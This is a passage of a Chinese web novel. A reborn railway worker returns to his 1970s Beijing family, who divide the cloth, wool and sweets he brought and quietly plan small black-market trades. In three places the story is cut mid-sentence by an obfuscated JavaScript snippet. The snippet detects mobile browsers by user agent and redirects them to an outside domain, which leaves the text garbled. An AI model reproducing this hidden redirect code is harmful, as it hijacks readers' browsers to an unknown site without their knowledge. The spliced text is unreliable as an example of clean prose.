“娘啊,这么多好东西,真的给我们分?”这个三儿媳妇真的是心里藏不住话,言随脑动的那种。想的是什么,顺着嘴就出来了。 曾柳华瞪了她一眼,道:“咋,还想让我给你爷们崽子们织毛衣?我都多大岁数了我……” “哎哟,娘,我不是那个意思!”三嫂扑到曾柳华身上,抱着她婆婆的胳膊开始扭,“娘,我这不是,这一炕的好东西,哎呀,我也不知道怎么说了,都是大宝带回来的,就这么给我们?” 平日里大宝带回来个树叶对她婆婆妈来说都是好的,都是要夹书里收藏的。如今这么多好东西,就给他们分了?? 她有些激动,但更多的是忐忑。 曾柳华被她儿媳妇撒娇也不推开,只是傲娇的冷哼一声,“大宝下乡的时候,你们几个当哥当嫂子的,也没少跟着操心。还有这几个小的,家里有口好吃的都给他六叔留着,我也会是看在眼里的。如今大宝回来了,想要补偿补偿你们,你们就拿着。” 三嫂激动的都有点儿哆嗦了,她用力拍了拍胸脯,“娘,四妞和小七的毛衣,我包了,我给他们织,保证好看!” 这个三嫂虽然不会裁衣服,也摸不明白针线,但织毛衣勾花在家里算是顶尖的存在了。 那些画报上的毛衣花样,她只要看上几眼,就能琢磨出来怎么织的。要不是毛线这东西真的是短缺物资,平日里家里穿的毛衣都是拆了织织了拆,毛都快掉没了,没有什么太多环境让她练手,这位都能成为织毛衣的大师! “成了,你这肚子顶的我难受。”曾柳华把三儿媳妇推开,“赶紧着,收拾炕,都去洗手摆饭!” 小孩子们努力的把眼睛从那些糖果里拔出来,然后欢呼着出去了。 三个哥哥帮忙抗桌子,嫂子们收拾炕,孩子们端饭,很快就把晚饭都上了桌。 “娘,这是啥酱?真香。” “娘,供销社没上酱豆腐啊,咱家咋这么老多酱豆腐?” “娘……” “消停点!”曾柳华翻了个大白眼,“这都是大宝千里迢迢从沪市带回来给你们吃的!别看着好东西就往死里吃啊,就那么一罐子,吃完没了。开饭!” 曾柳华在家里,大事不管,但小事都是她的。 不过这年头谁家也没有大事,所以席家日常基本就是她一言堂了。 她说开饭,席文明这位大家长才会拿起筷子,夹起块炖豆腐也不往自己碗里搁,直接放老伴儿碗里了,“这豆腐,真香。” “香你不赶紧给自己夹一块?”曾柳华嗔了眼席文明,又给他夹了一块,还顺道沾了下豆豉酱,“尝尝你儿子从沪市背回来的酱,香不?” “香,真香!”席文明笑的合不拢嘴。 别看他家孩子多,但个顶个都是孝顺的,哪怕儿媳妇有点儿小心思,但人都不坏。进门这么多年,一大家子没怎么红过脸,吵过嘴。 他老伴儿也是个能耐人,基本上一碗水端平,家里有什么东西大家都平分,三儿媳妇虽然多交了一份工资上来,但她家床单子被罩缝缝补补洗洗涮涮都是老大老二家的给做,基本上能扯平,也就偶尔能得些好处。 这个三儿媳妇也不是计较的,只要吃食上能多吃口好的,她就心满意足。 对此,席文明是十分满意的。 尤其是现在小六回来了,也不知道什么时候老四老五能回来。如果他们带儿媳妇孩子们回来,这一大家子,算是正经团圆了。 老干妈豆豉辣椒酱和酱豆腐受到了所有人的欢迎。 这年头,因为物资短缺,老百姓做饭不止是不舍得放油,放盐同样不舍得。 家里做了有滋味的饭菜,都先记着劳动力吃,其他人只能少吃。 哪里像今天,两张饭桌上各放了俩小碗,一个里面装了半碗酱,一个里面装了五六块酱豆腐,还有红彤彤的酱豆腐汤汁。 席云峥拿了个巴掌大的棒子面饼子,用筷子挑起半块酱豆腐,小心翼翼的在饼子上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745962|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涂抹均匀,然后啊呜一大口咬下去,满脸的满足。 “爹,娘,这个香!”他笑呵呵的说完,又看向正在挑粉条吃的六弟,“大宝,谢谢你。” “什么话,一家人谢来谢去的。”席于飞唏哩呼噜的把粉条吸进嘴里,“我不对你们好,难不成对外人好?” 他说完这些话,心里突然有些酸。 上辈子自己就像个蠢猪,真的是那种对家里人不信任,总是对外人好的傻货。 反正这辈子不会了,他要铆足全力对家里人好。 二哥挖了一勺酱拌在黏粥里,唏哩呼噜喝的头都不抬。就算斯文的三哥,也用饼子沾酱豆腐的汤汁,吃的一脸满足。 吃饱喝足,曾柳华开始行使作为一家主母的权利——分东西! “这块藏青色的劳动布,我看了,怎么都能做三条裤子了。老大老二老三,你们仨分这块布,一人做条新裤子,剩下的边角做几双鞋面子也够了。这块军绿色的劳动布给东子四妞小七做褂子,在做三个新书包。大宝说了,你们都去上高中就好好学习,换身新衣裳代表的新气象。” 几个大孩子都高兴的不行,连声道:“谢谢娘谢谢奶谢谢六哥谢谢六叔。” 曾柳华满意的点点头,又拿出一块藏青色的条绒布,“这块布给我跟你们爹做褂子穿,不过布挺大,还能剩下一些做个褂子,就放好了,看谁家需要随礼的,也拿得出手。这块红底碎花布呢,就给家里的姑娘们一人做一件新褂子,过年穿。小子们用这个土黄色条纹的做褂子,也是过年穿。” “娘……”三嫂于倩有些着急,“我也想穿新褂子。” “还能少的了你的?”曾柳华嗤了声,“你们也不看看,一个个肚子这么老大,做什么新褂子穿着能好看?等你们生了,这块浅蓝色条纹的你们拿去,随便做什么。对了,还有这两块棉布,碎花的给姑娘们做小衣服,浅蓝的给小子们做背心。” 这种棉布做的背心不是那种跨栏背心,而是老式的两边开口用布绳连接的布背心。这种背心穿在身上晃晃荡荡,两边透气,特别舒服。 分完了布,又分羊绒线。这些羊绒线看着多,但想要每个人都有一件穿,那就不算多了。 之前曾柳华跟大儿媳二儿媳都计算好了,颜色鲜亮的给孩子们织毛背心,颜色稳重的给大人织毛背心。估计还能剩下点,不过也就剩个毛背心的量,可以留着以后拿出去送礼。 最后才是重中之重,要分糖果了! 曾柳华特地把所有糖果和点心都放在小簸箩里,这样看着就显得特别多,而且特别丰盛。 三嫂别看已经吃饱了,但是总觉得看见这些美味的糖果和糕点,肚子又饿了,“比咱们供销社卖的都好,这麻花里面还有糖呢?哎哟,看着就好吃。这是蛋糕吗?两边都有酥皮啊?中间是啥,奶油?咋看着这么喧腾啊。” “这可是外贸的点心糖果,”曾柳华说完,便慈爱的看向自家老六,“也就是大宝心疼弟弟妹妹侄子侄女,老远的背回来的。” “咱家大宝就是好,人也敞亮,长得也精神,这方圆十里的,还能找到比大宝更好的小伙子吗?”三嫂这张嘴,真的是,让人又爱又气。 席于飞尴尬的笑了笑。 原本他应该跟老爹跟哥哥们去客厅下棋玩的,可是他娘非要他在这里。 估计就是寻思让人夸他呢。 怪不好意思的。 21.我觉得能搞 曾柳华分东西的时候从来都不抠搜。 看上去十分昂贵的酒心巧克力和金币巧克力都让她分了下去,无论大小,一人一块,最后没剩下几块,都给了席于飞。 话梅糖跟大虾酥让她放进柜子里,留着以后慢慢吃,毕竟现在天冷,这两种糖也放的住,还没有巧克力那么招眼,来客人的时候都能拿出来待客。 点心分了那种带绵绵奶油的夹心点心,其实就是拿破仑。这种点心放不住,一刀两半儿,每个人都能拿上一半尝尝味道。至于剩下的麻花桃酥之类,也被放了起来。 这么多好东西,总不能一顿就干掉,那也太败家了。 “成了!”曾柳华挥挥手,“小的都去写作业,该忙啥忙啥,你们几个拿东西回屋,对了老三家的,记得给大宝先织个毛背心出来。他每天东奔西跑的不容易。” 席于飞也没拒绝,家里的好东西他向来是拿头一份,其他人也没有什么意见。 把儿媳妇跟岁数小的都撵走,曾柳华拿着扫帚把炕扫了,“你不是说有事儿吗?赶紧着聊。文明,带孩子们进来。” 席文明带着哥仨进了屋,席于飞这才道:“娘,我想倒腾毛线布头啥的,这玩意咱们能卖出去不?” 曾柳华冷笑一声,“我就知道你有这个心思,布头还成,这个毛线太精贵,卖的贵了不好出手,便宜了亏得慌。” “也就是说能卖呗?”席于飞嘿嘿笑着凑到他娘身边,“不止这种毛线,普通羊毛线跟腈纶线都有。我这不是想给咱家自己弄点吗?就专门弄的好线。” “你怎么就想起倒腾这些了?”席文明忍不住问。 也不怪他问这些,主要是他家孩子他自己明白。大宝这孩子被家里人宠坏了,虽然人本性不坏,但真没有这么多心眼子。 说给家里弄点好东西他信,说要倒腾东西,他怎么就这么不信呢? “咱家不是因为我拉了饥荒了吗?”席于飞能看懂他爹的眼神,十分不好意思。 毕竟上辈子的自己就是这样的,有点儿心眼子但不多,否则也不会被人忽悠成那样。 改掉这种破性格,他磨练了好多年,吃了好多亏,最后才练出来。 “欠别人多少钱我也不知道,但我知道欠了嫂子们的。虽然说一家人不讲两家话,但每天抬头不见低头见的,咱底气也不足。我就寻思着看看能不能倒腾点钱出来,或者跟嫂子说……用毛线布头抵饥荒?”席于飞也不敢把牛吹多大,毕竟这时候还没改开呢,谁手里有了好东西都偷摸的用,拿出去只能说换 ,不能说买卖。 买卖的话,会被人扣帽子的。 席家虽然有□□题字撑着门楣,但不知道多少人等着他家倒台呢,可不敢胡乱折腾。 瑕疵毛线和布头这种都是黑市上的抢手货,尤其是现在天还冷了,指不定多少人家想要淘换些布跟毛线呢。 棉花也有,但那玩意轻飘体积又大,不好掖不好藏的,他可不敢冒这个险。 曾柳华突然开始掉眼泪,“大宝……你有这个心,娘心里别提多舒服了。哎哟,还是咱大宝最好了,爹娘没白疼你。” 欠了儿媳妇娘家的饥荒,她平日里跟儿媳妇说话都不好大小声了,憋屈得慌啊。 席文明想了想,道:“这个事儿可不能大张旗鼓的折腾,尤其是咱们家,四邻八舍都是熟人,你每次回来大包小包的,看着也不像样子。” “那咋整?”曾柳华光顾着感动了,脑子还没转过来呢。 “爹,要我说就先别折腾,不就是千百块饥荒吗?咱们家节省节省,几年也还清了。”席大哥这话说的其实挺不好意思的,毕竟欠他媳妇娘家的最多,这还是他媳妇娘家当大队长的爹好不容易攒出来的那点儿棺材本,被他家直接清空了。 但欠饥荒可以慢慢还,可是让他一手带大的小六冒险,他这个当大哥的心里不踏实。 “大哥你先别着急忙慌的拒绝,”脑子好使的三哥冲着他爹抬抬下巴,“我看咱爹心里有成算。” 席文明叹了口气,他家老大实诚,老二闷,但也有自己的小主意,就老三长了张嘴,嘚吧嘚吧的可能说了。跟他那个儿媳妇,简直天生一对,一个满肚子心眼子,一个满肚子找不出个囫囵个的心眼子。 “我是有点儿想法,但咱们爷们几个不得盘算盘算?这件事,能不能搞。”席文明也不是那种搞一言堂拍板的大家长,这种事在席家算是大事了,曾柳华一般不会张嘴指点。 “我觉得能搞,”席二哥道:“黑市里搞票搞粮食的多了去了,毛线布头一拿出来就能被抢光,可见这玩意确实有市场。现在咱们要考虑的就是不能让小六见天整大包小包的回来,周围人多嘴杂的,指不定要闹出什么乱子。” 席文明看看老大,见老大一副忧心忡忡担心弟弟的模样,虽然欣慰,但还是叹了口气,然后看向老三,“你咋想的?” “这有啥难的?”席老三笑嘻嘻道:“跟铁路边上租一套偏僻的房子,我记得那边空房子挺多的。就是租房子这个介绍信看看怎么搞,我觉得这个信得让小六自己开。” 其实他们哥仨工作年限加上都结了婚,是可以跟单位申请房子的。但他们家现在独占一个大院子,这个嘴就张不开。 老二老三这对双胞胎还好,主动出让了房子,但换来了一些实惠的东西。 老大真的是个实诚人,就闷声不响的把名额让出去了,要不是人家过来送了点儿东西,家里愣是不知道。 因为这事儿,曾柳华没少说他。 席文明点点头道:“租个房子确实是最合适的,避开咱家周围这些邻居,行事也方便。” “成,那我明天就去开个介绍信。”席于飞挺开心,他家里人都挺开明的,做事也不会畏首畏尾,首先想的是要如何把事情做好。 “老三没事儿去溜达溜达看看房子,挑个靠谱的。对了,这件事儿先别跟你们媳妇儿说。”席文明说道这里,抬眼看了下曾柳华。 曾柳华立马心意相通。 “几个儿媳妇都是好相处的,但背后也都是有娘家的人,他们娘家也不可能跟咱们交心。到不说是防着,总之多个心眼比较合适。” “娘,您这话说的,我们又不是小孩儿了,还能不懂这些?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752484|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 席老大道。 曾柳华哼了声,“说的就是你,满肚子凑不出个囫囵心眼子,你媳妇儿虽然是个不错的,但她娘家嫂子可不是什么好相与的人,不小心说漏嘴,等着麻烦吧。” “那不至于的娘,我什么都不说。”席老大不好意思的挠挠头。 要说他丈母娘丈母爹,那真是十里八乡的好人。尤其是老丈人,精明但为人仗义,否则也不会因为自己这边缺钱,立马把棺材本都掏出来。 要知道在村里工人稀少,存点儿钱是多不容易的事。 “还有,这次大宝为了给你们整毛线,还欠了他大师兄的钱。”曾柳华说着就去开柜子,“咱们得把那个钱还了。” “娘,娘,别着急。”席于飞哪里还好意思拿家里的钱,“这个钱不着急还,过几天我们还跑沪市,我多干点儿活儿,那个钱也就还上了。” 曾柳华一副恨铁不成钢的样子抬手戳了一下席于飞的脑门,“一点儿人情世故不懂啊你,有借有还再借不难,你这里还的是小钱,还清楚了人家也乐意带你做事!还有,你再进毛线不得要钱?你兜里还有钱?” 其实是有的,但席于飞干笑了几声,没说话。 曾柳华叹了口气,“原本这个钱是打算还老大媳妇儿的,你先拿去用,回头大不了用毛线布头给她家抵饥荒。” 说着,她从柜子里数出一百块钱递给席于飞,“你欠你大师兄多少钱?够还账不?” “就欠了三十多块钱,足够还账了。”十张整整齐齐的大团结,看的席于飞有些眼酸。 “等下个月你哥哥他们发工资,这钱也就出来了。对了,你给你四哥五哥也带点儿羊绒线,他们在部队也没个对象照顾,家里再不使使劲儿。” 想起交给国家的俩儿子,曾柳华就想的不行。 那俩孩子从十六岁出去当兵,一转眼六七年都没回来了,虽然一直往家里写信,还寄了照片回来,但看不见人,怎么能不想呢? 但是国家从建国之后就无比艰难,先是援朝战争,几百万人跟十七国联军打仗,硬是小米加步枪把飞机大炮拦在了三八线外。 紧接着原本温和的苏联老大哥翻了脸,国家又进入艰难的瓜菜代年代。 还没有缓几年,又跟上门挑衅的阿三打起来了,硬是把阿三打的换了个首都。 这是外忧,还有内患呢。 那些数不清的特务间谍就别说了,自己人都能翻脸不认人,挑起了令人无法置信的造反有理,学习无用这样的理念大旗,坑了不知道多少人。 俩孩子一直报喜不报忧,但边境年年摩擦不断,家里能不知道吗? 他这个当娘的能做的,就是给孩子织两身毛衣,做几双鞋子,其他的,也实在帮不上啊。 “啊,还有……”兄弟几个商量完事打算回去休息了,曾柳华又想起什么来,“大宝啊,你那个朋友,李永军来找过你,说这两天还会过来,估计是想要找你出去玩。” 席于飞听见这个名字,心里就烦闷,“娘,他再来,如果我在家你就说我病了,如果不在家就不用管他。我不想有他那样的朋友!” 22.家家有盘算 曾柳华收拾炕铺的手顿了顿,不过也没说什么,只是道:“成,你自己心里有个成算就成了,不愿意见就不见。” “娘,你咋不问问为啥?”席于飞好奇。 曾柳华冷哼一声,道:“有什么好问的?之前娘说他不是什么好人,你不乐意听,还觉得娘势利眼儿。如今你不乐意见他,娘开心着呢。” 席于飞:…… 久违的记忆再次浮现在脑海中,尴尬的他恨不得用脚趾头抠出个三室一厅。 “反正我不想跟他做朋友了,那个人人品不行。我下乡几年,他总是写信挑拨咱们家里人关系,我在那边过得苦,也没个说话的人,还真信了他的话。等回来之后……” 席于飞突然有些哽咽,“反正我不想搭理他了。” “哎哟大宝,”曾柳华扔掉笤帚疙瘩过来一把把席于飞抱在怀里,“这有啥好哭的啊,不搭理他是好事儿,人往高处走,以后你的朋友比他强多了。孩儿他爹,愣着干啥?投个毛巾过来!” 席文明正感慨着呢,就被他媳妇儿吼的一缩脖子,连忙去外间屋投毛巾去了。 席于飞不好意思的拿毛巾擦了擦脸,“那我明天出去开介绍信,然后把房子租了。到时候我折腾回来的东西看看怎么出手,三个嫂子那边也不能总是瞒着,但现在时局不好,我的建议是闷声发大财,等过两年看看情况。” “这你放心,家里有娘压着,你三个嫂子也不是那么多事儿的人。哎呀,咱家小凤凰,长大了啊……”曾柳华欣慰的不行。 席于飞被夸的不好意思,红着耳朵道:“那我去休息了,爹娘也好好休息。” 说完忙不迭跑了,身后传来父母的笑声。 “娘,那个巧克力真好吃啊。” 大哥屋里,那个只有四岁的小姑娘席玥玥小心翼翼的抚摸着手里的糖纸,“下次六叔还会带这么好吃的糖吗?” “你六叔心里有你们,哪次有好吃的不想着你们了?”席云峥摸了摸自家闺女的头发,那酒心巧克力真的好好吃啊,人人都有一颗,他们舍不得一口气吃完,每一块都是你咬一小口,我咬一小口分着吃的。 里面那个酒甜滋滋的,媳妇都让他喝了。 别说,是真的酒,喝完了耳朵都热乎乎的。 大嫂张罗着让慢吞吞的大儿子带着其他孩子们洗漱,然后看向自家男人,“孩儿他爹,那个……你说,如果我让小六单独给我带点儿毛线,成不?” 席云峥虽然是个实诚人,但又不是傻子。他心里清楚得很,听媳妇儿这么问,便道:“你想给乡下爹娘拿过去?” 大嫂点点头道:“我爹娘……哎,你也知道我那个大嫂,真的是拿不出手。我爹娘这几年没少帮衬他们,自己舍不得吃舍不得穿。之前把钱借给咱们了,大嫂那个人可没少说酸话。” 席云峥想了想,慢吞吞道:“我知道你孝敬,但这个事儿暂时不能这么做。你把毛线拿回去,是算送礼呢还是算抵饥荒?算送礼的话,你大嫂不得因为那个钱的事拿捏你?算抵饥荒,你又能拿回去多少毛线?” 大嫂徐颖听他这么说,又开始犯愁,“我就是想给我爹娘打两件毛衣。” “那毛衣就算你打了,估计也穿不到爹娘身上。等咱们把饥荒还了,你再拿东西回去也理直气壮,大嫂挤兑你,你好歹也能还嘴了。” 席云峥说完,大嫂徐颖突然噗嗤笑出声来。 他愣了愣,“你笑啥?我说的不对?” 徐颖连忙点头道:“说得对,就是……今天娘想挤兑我两句,但想到欠我娘家的饥荒,就把话咽下去了。虽然她没说,但我也看出来了,你这么一说,就觉得好笑。” “腰杆子不直。”席云峥也跟着笑了,“如今家里六个人能挣钱,辛苦几个月,年前怎么也得还一部分。等到过年如果还有毛线啊布头啊,你拿回去走娘家也不是不成。” “年前后我怕是就要生了,估计回不去娘家,得你带孩子们回去。”徐颖摸了摸自己圆鼓鼓的大肚子,“我寻思这里面又得是俩,你说你家这个种也是奇怪,姑娘就单蹦,要么龙凤胎,要么都是男的双胞胎。一肚子生别人两肚子的,还挺赚。” “有这么算的?”席云峥哭笑不得,“小六不也是单蹦?” “所以娘稀罕他啊,小六长得也好看……哎,不说了,我觉得你说得对,现在不能拿回去,否则就成了我大嫂的了,指不定还得被她拿回她娘家去。” 她那个大嫂,虽然干活是个好把式,但嘴碎,因为这没少跟二嫂三嫂还有她俩妹妹吵架。再加上她总是喜欢偷摸把婆家东西往娘家拿,整的家里天天鸡飞狗跳的。 但她是大嫂,大哥又是徐家的长子长孙,指不定以后指望他顶家,所以有的时候大家就装睁一眼闭一眼没看见。 这边屋里熄了灯,但差不多的对话也在二哥三哥屋里进行着。 二嫂给她男人端了盆热水烫脚,“诶,你说,下次小六还能带多少东西回来?” 二哥席云腾被热水烫的呲牙咧嘴的,“嘶,嘶……你别蹲着了,坐炕上来。小六那小身板能带多少东西?这一趟给他工资都花没了,还欠了点儿饥荒。咋?你惦记小六那点儿东西了?” “你这话说的?我啥时候惦记过小六的东西!”二嫂周玲玲白了他一眼,“我这不是寻思着,我弟岁数也到了,该相看人家了,想给他做一身新衣服,织个毛衣什么的。小六带回来的东西我也不白拿,抵饥荒就成。” “这你得跟娘商量,我可做不了小六的主。娘同意了什么都行,娘不同意你想瞎了心都没用。”席云腾总算把脚丫子放水盆子里了,“对了,我明天得出车,估计晚上回不来,你跟娘说一声。” 如今天气冷了,大量的煤炭拉往京城,煤场开始忙碌起来。 席云腾要开大车去拉煤,他们这个活儿不能耽误,得尽快把一火车的煤炭拉进厂,否则停放在铁路上,偷煤的人可太多了。 他们小时候都去铁道边上捡过煤块,但那是火车里颠哒掉下来的。 偷煤的可不去捡那些,直接用蛇皮袋子装,装了放车上往小树林里一扎,谁都找不到。 所以每次煤炭到了,他们都是几辆大车出动,连夜干活。 周玲玲嗯了声,不过有点儿心不在焉,“其实我也不想要好的羊绒线,普通羊毛线就成,实在不行腈纶线也可以。” 席云腾哭笑不得,“快别琢磨了,到时候娘给你多少你拿多少,咱家啥时候亏待过你?之前日子过得好的时候,你家里也没亏待过。” “哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759120|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀,我这不就是琢磨琢磨吗?”周玲玲捶了她男人一下,“跟你真没话说,明儿我跟娘商量去。脚丫子还没泡好?那几个崽子呢?又去他们七叔那边了?等我喊回来,睡觉!” 三哥席云扬那边倒是没有这么多弯弯绕,三嫂于倩没什么心眼子,就不停的嘚啵巧克力好吃,那个蛋糕也好吃,里面的奶油软绵绵的,吃在嘴里凉丝丝甜蜜蜜。外面的蛋糕也柔软,比供销社的鸡蛋糕还喧软,好像云朵。 席云扬歪在炕上,看着他媳妇儿絮絮叨叨的 ,嘴角都是笑。 当初不是没人给他介绍更好的更漂亮的女孩子相亲,但是他就一眼看上于倩了。直来直去的性格,又容易心软,别看快三十的人了,还跟小姑娘似的喜欢撒娇。 因为这个脾气,无论是跟娘还是跟俩嫂子,都合得来,家里妯娌基本上没有红过脸。 “ 喜欢吃?”席云扬捏了捏媳妇儿的手,“回头我给小六点儿钱,让他给你带,单独带,就给你吃。” 于倩眼睛一亮,随即摇了摇头,“可别了,我又不是那种吃独食的。钱还是攒着好,娘跟我说了,先把大嫂家的饥荒还了,回头再还咱家的,等没有了欠债,在让小六带东西吧,否则别人看在眼里多难受。” “啧,”席云腾又捏了捏媳妇的脸,“你这不是不傻吗?” “你啥意思啊?”于倩翻了个白眼儿,“我知道我有的时候说话不咋过脑子,但不代表我没有脑子好不好?好你个席云腾,你竟然觉得我傻!” 于倩扑上去,双手在爷们身上掐了起来。 席云腾连忙伸手护住她,嗤嗤直笑,“好了好了,小心肚子,别闹了,孩子都看你呢。” 于倩一回头,就看见家里几个小的藏在被窝里,露出俩大眼睛直直的看向自己。被发现后连忙钻进被窝,还偷摸的笑。 给她闹了个大红脸。 席于飞一觉睡到大天亮,睁开眼睛之后还犯迷糊呢。 抻了个懒腰,看看表都九点多了,正打算起床,就听他娘曾柳华的声音在院子里响起。 “哟,永军来啦?” 席于飞翻了个白眼,又躺了回去。 “大娘,我听说小飞回来了,这不是打算过来看看他嘛。”李永军站在门口跟曾柳华打招呼。 他眼珠子乱战,滴溜溜的看着面前这个大院子,还有院子里晾晒的炕被,心里别提多羡慕了。 李家也有两间房,是他爷爷当年在单位申请的宿舍,后来大伯顶替了他爷爷的工作,这房子单位也没收走。 那两间房里如今住着十二口人,房子都被打了上下层的隔断,就这样睡觉也挤得慌。 他都十九了,连自己独立的屋子都没有,只能跟堂弟亲弟一起睡。也正是因为这样,连给他说对象的人都没。 他爹一直说申请住房,但到现在都没申请下来,因为这个,他娘可没少埋怨。 如果有这么个大院子,至少他就能有两间独立的房子,到时候娶了媳妇,他跟媳妇一间,孩子们一间,多好。 可惜啊,当年那么乱,都没能把席家拉下来。 如今听说已经有人平反了,怕是席家更不容易出事了。 与其这样,还不如想办法,把席于飞那个傻子的工作忽悠过来…… 23.介绍信 曾柳华一边拍打炕褥子一边道:“哎哟,大宝发烧了,估计现在还没起来呢。” “怎么就发烧了?”李永军又往院里走了一步,抻着脖子看向席于飞那个屋,“我去看看?” 曾柳华真的是讨厌李永军,觉得他挺大的人了,一点儿人话都听不懂。 “发烧了,你进去传染了怎么办?永军啊,你先去上班,我跟大宝说一声,等大宝病好了让他去找你玩啊。” 说着,曾柳华走到李永军不远的地方用力拍打褥子,顿时灰尘绒毛纷飞,给李永军呛的又退回到门洞子里了。 “那成,婶儿,我先去上班了。”李永军有些不甘心,之前席于飞没下乡的时候,他只要来找席于飞出去玩,或者出去一起上学,这种大早晨的席家婶子都会给他揣点儿吃的。 席于飞这一走就是三年,席家对他都生疏了,而他也三年没有占到什么便宜。 早知道打不下席家,他就不写那么多举报信了!! 李永军讪讪的离开,心里十分不满。 席于飞从窗帘缝看到人走了,这才起床。 他端着个盆子出来,用压水井压水,“娘,早晨吃什么啊?” “擦的黏粥,咸菜丝跟窝窝头。”曾柳华拍打完被褥,转身去厨房,“我给你煎个鸡蛋去。” 鸡蛋是精贵的好东西,如今家里只有两个不到五岁的小朋友,三名孕妇以及席于飞,能获得偶尔吃一次鸡蛋的机会。 这个年代什么都要票,但并不是说有了票就能买得到。像鸡蛋跟豆腐还有肉这样的抢手货,你去晚了屁都没有,有票也白搭。 而且很多这种食物票还带期限的,不少人都会攒一攒,打听好消息之后凌晨就去供销社排队,这样才能满载而归。 不过席家还好,供销社有“人脉”,节省了排队这个项目。 但就算如此,鸡蛋也不够家里所有孩子每天都吃一个的,毕竟人太多了,就算一周吃一个,那几斤鸡蛋都不算太够。 也幸好打扫娘家是村里的,时不时会送一篓子鸡蛋过来。但席家也不会白拿,按照市场价给钱,或者换成工业票布票之类。 农村人没有地方弄票,要么就是每年交粮的时候从粮站那边换一些,要么就等工会那边发一点儿。这么点儿的票压根不够每一户人家都匀上,只能用工分区换。 因为大队长有个城里的亲家,不少人都会把鸡蛋攒足够了让大队长拿去城里,至少能多换点儿钱票回来。 席于飞的市场里倒是有很多鸡蛋,不只是鸡蛋,还有鸭蛋鹅蛋鹌鹑蛋鸽子蛋。但现在没有借口能拿出来,否则他都说不明白从哪里弄的。 市场这件事太大了,席于飞连爹娘都不敢说,生怕被传出去,到时候倒霉的还是自己。 咸菜丝就黏粥,也就是棒子面粥配窝窝头,是家家户户最常见的早餐。 为了减少粮食消耗,还有不少人家会把红薯南瓜土豆之类的切块一起煮进去,这样也能增加饱腹感。 黏粥是真的香,加了红薯的还带着甜味,席于飞喝的十分开心。但窝窝头就有些糙了,里面掺杂着不少麸子,得嚼好半天才能咽下去。 但这个东西,怎么说呢。 如今不值钱,再过几十年贵得要死,主打一个养生。 养不养生席于飞不知道,但真的噎嗓子。 还有家里条件更难的,连棒子面吃的都少,大多换成高粱米高粱面,或者棒子面跟高粱米的杂粮面。 这种面更粗,吃起来还没有香甜味,反而带着一股子苦味。 席于飞上辈子活到死,都不爱吃这种面。但下乡的时候老家人经常做这样的粮食吃,也就席于飞跟几个小的,有机会吃上更细的棒子面或者偶尔吃到大米白面。 其实还有更难吃的粮食,就是磨面的时候把苞米瓤子也磨成粉,混杂晒干的红薯藤粉,红薯面加高粱面的那种杂粮面,这种面蒸出来的窝头黢黑梆硬,他曾经尝试吃过一口,在嘴里嚼了半天,最后喝水送服的。 洗漱完吃完早饭,席于飞一抹嘴,背着他的布袋子就出了门,然后打了一路的招呼上了大路,溜达着往铁道局办公区域走。 这时候的京城,是真的空旷。 没有乌糟糟的空气,没有挤的动弹不了的小汽车,上班时间大马路上连人都少。 偶尔有小汽车在马路上行使,那都是公家大单位的车或者军车,普通单位不管是厂长还是书记,都没资格配车。 这时候国家主要是生产大卡车,虽然也有国产的红旗小轿车,但产能一般,还要外销,国内销售并不是很多。 快到地方的时候席于飞往小树林里一钻,出来的时候布袋子鼓鼓囊囊的。 门口看门的又换了个上岁数的,看着得有四十来岁,一只手有些残疾,但背挺的很直,目光也十分犀利。 一看就是从部队上退下来的。 “叔,辛苦了啊。”席于飞笑呵呵的打招呼,然后从袋子里摸出个油纸包包着的卤猪蹄子递过去。 那男人把席于飞上下扫了两眼,“什么单位的。” “就是这个单位的,我叫席于飞,跟车组的乘务员,您能查到不?”铁路人太多了,新来的还没把人都认全。但他们门岗都有个员工册子,册子上从名字到年龄到岁数都有记录。 看门的黑脸叔查了册子,这才露出笑容,“哦,进吧。”说完,就把猪蹄拿了进去。 他刚来那几天正赶上席于飞他们出车,一开始还不适应有人见面就给他送东西这个环节,后来宋科长跟他说了好几次,只要是铁路上的,给了就拿着。外人的话如果是里面点头让进,给的也拿着。 当然,如果来的人里面也不让进,那给什么都不准拿,拿了就是犯纪律。 这位黑脸叔别扭了好几天,目前勉强习惯这种操作。 席于飞熟门熟路的走到宋科长门口,抬手敲敲门,“宋科长?在不在。” “进,”宋科长道,他抬头看着席于飞进来,想到老侯跟他说的话,脸上的笑容就带出来了,“哟呵,我们的小英雄来了啊。” “什么啊?”席于飞被雷出一身鸡皮疙瘩,“啥玩意就小英雄了?” 